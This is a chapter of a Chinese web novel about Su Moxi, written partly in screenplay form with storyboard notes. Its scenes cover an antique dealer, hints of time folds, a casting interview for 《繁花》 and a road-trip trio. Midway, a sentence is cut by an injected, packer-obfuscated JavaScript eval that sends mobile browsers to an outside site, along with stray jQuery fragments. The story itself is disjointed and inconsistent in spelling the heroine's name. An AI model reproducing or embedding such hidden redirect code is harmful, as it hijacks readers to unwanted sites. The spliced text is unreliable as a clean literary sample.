16. 时间的证明题

作品:《我是苏末晞

    新住户入局(闪回)


    阴雨中的康平路,青砖老宅泛着水光,雨滴在"听雨轩"招牌上折射出扭曲的倒影。


    店主老徐用绒布擦拭"乾隆粉彩瓶",瓶身反光中映出苏末晞拖行李箱走过的身影。


    雨声渐弱,店内传来压低的声音:


    "新到一批货...说是乾隆年间经青帮流出东洋..."


    "哟,这釉色...怕是沾过黄浦江水的?"(沙哑笑声)


    苏末晞脚步微顿(特写运动鞋水洼倒影破碎)


    "康平路的规矩——每个新搬来的''古董'',都要先被估价。"


    封控期间,空荡的街道,唯一开着的申通快递网点亮着惨白的灯。


    苏末晞将包裹递给快递员:


    特写:纸箱缝隙露出茶杯金边,杯底"大明成化年制"落款在监控摄像头下反光。


    快递员(扫码枪红光闪烁):"特殊时期...保价吗?"


    苏末晞(拉紧口罩):"不必,本来就是碎过重修的。"


    慢镜头:包裹落入分拣筐,与印着太阳旗logo的货箱碰撞。


    古董店二楼窗口,老徐放下望远镜,转身对阴影处:


    老徐(摩挲翡翠扳指):"申通那边...可以收网了。"


    阴影中人(画外音):"他女儿可惜了,刚考上东京大学..."


    老徐(冷笑):"现在该叫''死人''了。"


    (新闻播报)


    "据悉,某跨国拍卖行近期流拍一批带有辐射性的''回流文物''..."


    镜头切换:女主用镊子夹起残片,映出她瞳孔里的火光。


    苏末晞内心独白:


    "看啊,你们捧出来的''皇帝''...连骨灰都是进口的。"


    朱冬冬的学校图书馆里,黄昏的光斑在《分形几何》书脊上跳动。他的指尖划过科赫曲线插图。


    "你看这无限分割的边界——"


    苏未晞突然按住书页:"像不像被折叠的时间?"


    老人眼镜后的瞳孔微微收缩。窗外的梧桐叶影在地板上投出递归的几何图案。


    咖啡馆里,苏未晞改着剧本。隔壁桌两个学生正在讨论。


    "杨教授团队下个月要宣布那个项目..."


    "嘘——别在这儿说。"


    男生突然看向苏未晞的方向。他穿着中科院2035年纪念T恤。


    三个月后,新闻播报杨教授团队公布"时空褶皱理论"。苏未晞想起那天咖啡馆的男生。


    剧本杀店里,新来的玩家金奇原盯着苏未晞看了很久。


    整理朱冬冬遗物时,他们发现一张奇怪合影。照片背面写着:"2042年拓扑学研讨会留念"。


    陈川摸着电吉他:"这照片里的背景,是清华园还没建的新楼。"


    古董店门口,老徐擦着算盘:"知道为什么康平路要拆吗?"


    他指向远处施工中的"时空博物馆":"那底下挖出来的东西...比光绪年还新。"


    一阵风吹过,算盘珠子自己动了起来,排成一行数字:20460618。


    苏未晞站在康平路的梧桐树下,落叶在她周围形成完美的斐波那契螺旋。她抬头看向正在消失的月亮。


    "找到了。"她轻声说,"时间的褶皱。"


    黄昏,康平路的梧桐叶影在地面投下分形图案。苏未晞站在旧书摊前,翻开一本《陈之耀画集》。扉页题字:"继红学妹戊戌年"。她皱眉。出版日期:2003年。记忆闪回——2002年,李家客厅。李母接过书,惊愕:"这字迹是我的……可这书还没出版。"书摊老板叼着烟,没说话。


    老徐的算盘店里,紫檀珠子在昏黄灯光下泛着旧光。"时间不是直线,"他摩挲着一颗刻字的算珠,"是褶皱的纸。"电视新闻闪着雪花点:"中科院公布''时空褶皱''理论……"窗外,施工中的"时空博物馆"轮廓模糊。


    咖啡馆。两个学生低声交谈:"杨教授下个月才公布的成果……"其中一人穿着印有"中科院2035"的T恤。苏未晞抬头时,他们已经消失。


    雨夜,老徐将最后一颗算盘珠子放进苏未晞手心。内侧刻着极小公式:**时间=∫(记忆+误差)dt**远处,未建成的清华新楼在雷雨中若隐若现。


    化妆间·深夜


    (《如懿传》片场,镜子周围一圈灯泡,照出鼎子师傅发青的脸。她手里捏着一支秃了的眼线笔,面前摊着被改过的妆造单。)


    鼎子师傅,发根白了一半,嘴角有被牙咬破的结痂。


    鼎子,躲在衣架后面偷看,手指勾破了一包新粉扑。


    妆造单上“周迅”名字被红笔划掉,旁边潦草写着“按辛芷蕾方案调整”。


    师傅突然把笔摔向镜子,“啪”地裂出一道纹。


    内心独白(鼎子):


    “周迅的妆要‘淡到像被雪盖住的火’……现在全完了。”


    片场走廊·凌晨三点


    (鼎子追着师傅跑出去。师傅把假发包扔进垃圾桶,桶边贴着《繁花》招募海报,辛芷蕾的脸被路灯照得发亮。)


    对白:


    鼎子(拽师傅袖子):


    “他们凭什么改妆?周迅团队没闹吗?”


    师傅(冷笑):


    “王家卫的人下午来过……说辛芷蕾的‘反派美’以后要当招牌。”


    分镜指导:


    慢镜头:化妆师要用火柴烧木头棍子烫睫毛,但是一不小心火苗掉到了地上。火苗“滋”地灭了。


    背景音:远处传来《如懿传》副导演的吼声:“那个化妆组的!滚过来改妆!”


    鼎子家卫生间·一个月后


    (鼎子把化妆刷一根根折断冲进马桶。手机屏幕亮着——新闻标题《如懿传妆容遭群嘲》《辛芷蕾确认出演王家卫<繁花>》。)


    弄堂口·2018年冬


    (潮湿的上海弄堂,电线杆上贴着《繁花》群演招募海报,被雨淋湿了一角。一群中年人围着看,呼出的白气糊在纸上。)


    老陈(指着海报):


    “这上面说招‘老上海气质群众演员’,我正宗闸北长大的……”


    中介(嚼口香糖):


    “明天带身份证来试镜,王家卫亲自挑人!”(眨眨眼)


    分镜指导:


    特写:海报上“名额有限”四个字被中介的烟头烫了个洞。


    背景:弄堂深处传来麻将声,有人喊“三条”。


    试镜棚·次日


    (三百人在仓库排队,老陈攥着1978年的黑白全家福。墙上电视循环播放《阿飞正传》。)


    分镜指导:


    长镜头:队伍蜿蜒到门口,保安打着哈欠收简历,直接扔进“已阅”纸箱。


    近景:选角导演用手机拍老陈的脸,五秒后挥手:“下一个。”


    内心独白(老陈):


    “连我带来的照片都没看……”


    (电脑屏幕显示繁花剧组严谨选角热搜。年轻策划往PPT里插入照片:群演们蹲在片场外吃盒饭。)


    对白:


    策划(敲键盘):


    “通稿写‘王家卫为三秒镜头筛选素人两百天’,配图要沧桑感。”


    (点击发送,窗外东方明珠亮起红灯。)


    分镜指导:


    蒙太奇:老陈在便利店看这条热搜,手指划到评论区——


    “这才是艺术家的坚持!”


    镜头一转:电视里播放辛芷蕾专访:“我们剧组连群众演员都精挑细选……”


    (老陈和工友蹲着吃凉掉的包子,手机播放《繁花》预告片。)


    工友(戳屏幕):


    “哎!这不是当年招群演那戏吗?拍了五年啊?”


    老陈(掰开包子):


    “萝卜馅的……和当年试镜发的盒饭一个味。”


    分镜指导:


    (《繁花》剧组面试间。玻璃窗外是阴冷的上海冬天。苏末晞坐下,对面是两名选角导演,一男一女。)


    苏末晞(闲聊状):


    “辛芷蕾演李李最合适!她最近那古装剧,坏妃子造型绝了——韩式平眉,金护甲,骂人带笑……”


    (男导演的笔“啪”地掉桌上。女导演缓缓抬头。)


    分镜指导:


    近景:女导演的瞳孔轻微放大。


    男导演(缓慢地):


    “……那部剧,还没播吧?”


    “你告诉我今天哪一年?”


    苏末晞(掏手机看日历):


    “今天不是2019年1月26吗?”


    (沉默三秒。空调嗡嗡响。)


    内心独白(女导演):


    “穿帮了?还是这姑娘疯了?”


    男导演(突然笑):


    “先回去等消息吧。”


    (门关上。男导演立刻掏手机,女导演撕掉刚才的记录纸。)


    (午后,古董店内,老徐拨着一把紫檀算盘,算珠清脆作响。)


    老徐(慢悠悠):


    "光绪年间的账房先生,能解《九章算术》,搁现在,怕是连个会计证都考不上。"


    账房(头也不抬):


    "徐老板,您这话说的——前清的举人老爷,放今天,说不定连研究生论文都发不出来。"


    (窗外,苏未晞抱着一摞剧本杀手册走过,脚步轻快。)


    顾律师(冷笑):


    "那丫头倒好,大学没念完,跑去带本子,她爹没气死?"


    老徐(抬眼):


    "气死?朱老当年怎么说来着?——''有些人看着疯,其实是老天爷派来算账的''。她小时候打算盘跟抽大烟似的——有瘾"


    "光绪年间的账房先生,都没她指头快。"


    [场景二:学问的债]


    (审计张翻着一本泛黄的《格致汇编》,突然停在一页。)


    审计张(指着一道数学题):


    "这道题,光绪年间的学生能解,现在的大学生,怕是连题目都看不懂。"


    账房(凑过去):


    "不是看不懂,是没人教了——现在的学问,越分越细,老祖宗的东西,早没人记得了。"


    老徐(拨弄算盘):


    "记得又如何?光绪年间的神童,放现在,连教职都评不上。"


    (静默片刻,算盘声又起。)


    老徐(轻声):


    "可有些人,偏偏就是来还这笔债的。"


    (顾律师从公文包里抽出一张老照片,摆在桌上。)


    顾律师(指着照片):


    "认识这位不?朱老年轻时的老师,当年在清华园证过定理的。"


    审计张(眯眼):


    "嘶——旁边这位先生,我好像在哪本教材里见过......是清华那位经常上新闻的吗?但这年龄对不上,也许这就是经常上新闻那位的祖父?"


    老徐(突然咳嗽一声):


    "有些线头,扯不得。"


    (他把照片塞回锦盒,锦盒上刻着"南京师范"四个字。)


    账房(叹气):


    "要我说,这丫头就是投错胎了——搁前清,准是个女先生。"


    老徐(擦着一面铜镜):


    "没投错,是这世道......"


    (他顿了顿,镜子里映出苏未晞在剧本杀店门口贴海报的身影。)


    老徐(轻声):


    "配不上她。"


    (薄雾笼罩的茶山,苏末晞的拍摄团队正在架设器材。远处传来引擎轰鸣声,一辆贴着中国地图的南昌牌照越野车缓缓驶来。)


    杨鼎子的靴子踩进泥地,鞋帮上还沾着前一天的干泥巴。


    杨鼎子(咧嘴笑):


    “听说你们在这儿拍东西,顺路过来瞅瞅。”


    导演(意外但熟络):


    “鼎子?你从哪儿窜出来的?”


    (剧组人员蹲着吃盒饭,杨鼎子从车里拎出一袋橘子分给大家。)


    场记小妹(剥橘子):


    “鼎子哥,你这趟又跑哪儿野去了?”


    杨鼎子(用下巴指指越野车):


    “刚穿完西藏,地图上又多了个红钉。”(掏手机划照片)


    内心独白(导演):


    “他车上那张中国地图,比去年又多了几道折痕。”


    (导演和杨鼎子站在山坡上,远处是剧组收工的剪影。越野车引擎盖反射着最后一点夕阳。)


    (航拍视角:车队像蜈蚣一样蜿蜒在山间。杨鼎子的车被夹在中间。)


    对白(车载电台):


    凤川(电流杂音):


    "三号车减速!前面有羊群——当年我在西藏带剧组时……"


    金奇原(突然切频):


    "老凤你助听器该换电池了吧?"(轻笑)"说到西藏,我上个月刚带XX(某女星)去纳木错……"


    车内杨鼎子把电台音量拧小,抓起矿泉水瓶猛灌两口。


    后视镜镜里反射出凤川阴沉的脸色和金奇原得意的嘴角。


    (篝火边,凤川在烤土豆,金奇原用卫星电话谈生意。土家族年轻人突然出现。)


    对白:


    年轻人(扔给凤川一罐啤酒):


    "小阿哥,你耳朵还疼吗?"


    凤川(摸助听器):


    "比某些人的良心硬。"(瞥金奇原)


    金奇原(挂电话走过来):


    "老凤,听说你庙里长大的?那你会算命吗?"(掏出一叠钞票)"算算这趟我能泡几个妞?"


    分镜指导:


    慢镜头:啤酒罐被凤川捏瘪,泡沫顺着指缝流到军靴上。


    广角:杨鼎子默默把越野车开远,车灯照亮路边"小心落石"的警示牌。


    (车队因塌方停滞,对讲机里吵成一片。)


    对白(电台杂音):


    凤川:"走左边旧道!我带过地质队!"


    金奇原:"右边新路!我查了卫星图!"


    分镜指导:


    雨刷器视角:杨鼎子盯着岔路口,左右后视镜里是两道逼视的车灯。


    仪表盘特写:油表指针颤抖着滑向红色区域。


    内心独白(杨鼎子):


    "就像小时候被庙里两尊罗汉夹在中间上香。"


    (杨鼎子突然猛打方向盘,车轮碾过警示牌冲下路基,驶入第三条泥泞小路。)


    他们也会休息一段时间,整装出发去自驾游。要说起这个三人组他们可是老相识了。


    (苏末晞在拐角撞见鼎子,他正从窗户俯瞰纺织厂全貌。)


    鼎子(头也不回):


    "凤川把厂里三号车间改车库了。"


    苏末晞(顺着视


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949886|177513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    线看去):


    "他弟昨天新买了辆路虎。"(停顿)"和你去年撞坏的那款同色。"


    楼下传来急刹车声,两人同时绷紧肩膀


    闪回·自驾游车队


    (雨刮器摆动中,对讲机传来凤川带笑的声音:)


    凤川(画外音):


    "小金跟紧点,别让鼎子又像上回在甘肃..."


    分镜指导:


    后视镜视角:金奇原的奔驰G63不耐烦地闪着远光灯


    仪表盘特写:鼎子的手指在方向盘上敲击同样节奏


    纺织厂办公室


    (凤川弟弟对着手机点头哈腰,桌上摆着车队合影。相框玻璃反射出门口偷看的苏末晞。)


    对白(电话内容):


    凤川(画外音):


    "下月拉力赛的赞助布标...对,就用厂里那批瑕疵品..."


    (深夜,教师宿舍台灯下。凤川妹妹的钢笔尖在杨鼎子的作业本上停顿——最后一道题解法和当年哥哥教她的一模一样。窗外传来越野车引擎声,她抬头时,作业本已被红墨水洇湿一角。)


    (金家厨房,凤川姐姐擦着手去关炖汤的火。料理台上摊开的招投标文件印着"鑫源纺织改造项目",她瞥见甲方联系人"金奇原"三个字,把汤勺往瓷碗里重重一磕。)


    凤川姐姐在金家收拾餐桌时,顺手将印着"XX局"的保温杯装进自己布袋。杯底贴着招标办王主任的联系方式——这是上周凤川让她"帮忙保管"的。厨房监控闪烁红灯,但她知道这个角度拍不到保温杯。


    深夜纺织厂车库,凤川弟弟在撕碎的采购单上浇汽油。打火机亮起的瞬间,照亮纸屑上"杨鼎子车队赞助费"的字样。火焰蹿高时,他手机收到姐姐短信:「明天带王主任儿子去车队」。


    教师宿舍里,凤川妹妹把杨鼎子的作业本锁进抽屉,钥匙却故意留在锁孔。抽屉缝隙露出半张照片:少年凤川站在印刷厂机器前,背后是"扶贫物资专供"的包装箱。


    金奇原父亲晨跑回来,发现招投标文件被人动过。他瞥了眼厨房里忙碌的凤川姐姐,对电话那头说:"告诉凤川,鄱阳湖那块地…"突然噤声,因为凤川姐姐正端着鸡汤走来


    越野车后备箱里,鼎子发现备用油箱被换成劣质品。油箱内侧用油性笔写着"三号车间见",字迹和当年自驾游时凤川分配车队的笔迹一样。


    这就是现实世界,你以为的玩其实只是圈子的筹码交换,没有什么是纯粹的。而鼎子却不知道在合适的时候退场,总是被现实闷头一击之后才幡然醒悟。他这样的白露笋怎么玩得过那群老油子呢?也就只有柯林照顾照顾他了。


    像他这样的男孩子,好像总是比同龄人成熟的晚一些。


    (太鼓达人机台前,10岁的苏末晞和杨鼎子并排站着。杨鼎子选了《大火球》最高难度,苏末晞第一次玩就跟上了节奏。)


    杨鼎子(盯着屏幕):


    "你打得不错。"


    苏末晞(喘气):


    "你也是。"


    都说在游戏厅会遇见奇怪的大叔,确实。


    虽然他不是坏人,但是这段阴影跟随着她一生


    时间来到了初中


    (后座的林韵偷偷递给13岁的苏末晞一张纸条,上面写着:"杨子找我拍电影,说要绑起来拍几个镜头。")


    林韵(小声):


    废弃教室·2012年


    (杨鼎子拿着DV,林韵被绳子绑在椅子上,表情有些不安。)


    林韵的手腕被勒出红痕


    杨鼎子调整摄像机角度,眼神专注


    杨鼎子(冷静):


    "再坚持一下,这个镜头很重要。"


    中医诊所·2013年


    (欧阳辛雨把杨鼎子按在正骨床上,用力掰他的脊椎。杨鼎子疼得额头冒汗,但咬着牙不吭声。)


    欧阳辛雨的手按在杨鼎子背上,指节发白


    由于长期摄影鼎子患上颈椎病,没想到这件事情已经在本地圈子里炸开了锅。


    欧阳辛雨(严厉):


    "拍那种电影,你想过后果吗?"


    十年后


    (苏末晞在旧电脑里找到当年拍的视频文件,点击播放后画面却已损坏,只剩一片雪花噪点。)


    里面还有一首没有发表的杨鼎子写的诗


    《时差》


    年轻时总觉得时间太多


    多到可以随意挥霍


    就像某个夏夜


    数到第25颗星星就放弃


    谁在乎呢


    反正明天还有一整片星空


    青春就是拿来浪费的


    那些疯狂的事


    拍过的奇怪电影


    玩太鼓达人到天亮的夜晚


    都是微不足道的奢侈


    后来啊


    时间突然就变得金贵


    开始研究素食食谱


    把每一分钟都煮进饭菜里


    才发现


    最抚凡人心的


    从来都是这些人间烟火


    从"再不疯狂就老了"


    到"懂得所以慈悲"


    原来所有的路


    最终都通向平凡


    他在排练室的走廊里抽烟(其实早已戒烟,只是焦虑时习惯性捏着烟),透过门缝看到她对镜子练习“完美笑容”。


    直接推门进去,关掉音乐,问:“你为什么要跳这支舞?”


    苏末晞辩解:“大家期待我这样……”


    他拿起她精心准备的亮片舞鞋,轻轻掰断鞋跟:“穿这个跳舞,脚会流血。而你本来连音乐节拍都讨厌。”


    她第一次认真思考——自己到底在讨好谁?


    他在高端日料店兼职当食材顾问(其实是暗中跟着她),目睹她被客户灌酒。


    趁她去洗手间时,堵在走廊,递给她一杯蜂蜜水,低声说:“你小时候写作文,说最讨厌‘假笑的向日葵’。”


    苏末晞醉醺醺地反驳:“人总要现实一点……”


    他冷笑,从怀里掏出一张泛黄的纸——那是她小学的作文,上面写着:“我想当时装设计师,设计不用讨好任何人的衣服。”


    苏末晞第二天以“理念不合”辞职,后来开了自己的独立工作室。


    苏末晞因长期压抑情感,开始和一个根本不爱的人交往,只因为对方“条件合适”。她甚至打算结婚,说服自己“爱情本来就不重要”。


    杨鼎子出现,他在她订婚宴的前一晚,匿名寄来一个包裹——里面是她从小到大收到的三只娃娃熊,但每只熊的心脏位置都被剪开,塞着一张字条:


    小学熊:“你说它陪你熬过爸妈吵架的夜晚。”


    高中熊:“你抱着它哭,因为暗恋的人没选你。”


    现在熊:“可你现在,连哭都不肯了。”


    附信只有一句:“5月21日出生的人,不该对自己撒谎。”


    苏末晞在婚礼当天失踪,后来在杨鼎子的厨房找到她——她正安静地喝一碗白粥,而他什么也没问                                                                                                                                            </繁花>